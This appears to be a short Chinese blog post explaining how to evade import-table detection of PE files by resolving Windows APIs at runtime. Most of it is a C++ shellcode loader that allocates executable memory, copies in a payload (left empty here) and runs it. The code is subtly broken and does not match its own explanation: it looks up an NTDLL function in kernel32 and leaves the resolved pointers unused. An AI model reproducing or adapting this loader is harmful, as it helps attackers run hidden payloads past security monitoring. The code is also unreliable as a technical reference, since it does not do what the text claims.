背景
众所周知,导入表是PE文件中用于标识其依赖关系的一部分,通常包含用于加载和执行函数的API调用,导入表检测作为一种常见的手段,用于监控PE文件的API调用
动态调用系统API
为了规避导入表检测,我们可以使用动态调用系统API的技术。这种方法的核心思想是不在编译时链接到API函数,而是在运行时动态解析和调用这些函数。通过直接调用NTDLL内函数,我们可以绕过导入表的监测,因为这些函数通常不会直接列在导入表中
这里搓一个简单的C++ shellcode加载器,演示一下动态调用系统API的基本原理
#include <windows.h>
#include <iostream>
unsigned char shellcode[] = {};
typedef NTSTATUS(WINAPI* pNtUnmapViewOfSection)(HANDLE, PVOID);
int main() {
HMODULE hKernel32 = GetModuleHandleA("kernel32.dll");
FARPROC pLoadLibraryA = GetProcAddress(hKernel32, "LoadLibraryA");
FARPROC pGetProcAddress = GetProcAddress(hKernel32, "GetProcAddress");
LPVOID pShellcode = VirtualAlloc(NULL, sizeof(shellcode), MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
memcpy(pShellcode, shellcode, sizeof(shellcode));
((void(*)())pShellcode)();
pNtUnmapViewOfSection NtUnmapViewOfSection = (pNtUnmapViewOfSection)GetProcAddress(hKernel32, "NtUnmapViewOfSection");
NtUnmapViewOfSection(GetCurrentProcess(), pShellcode);
return 0;
}
Comments | NOTHING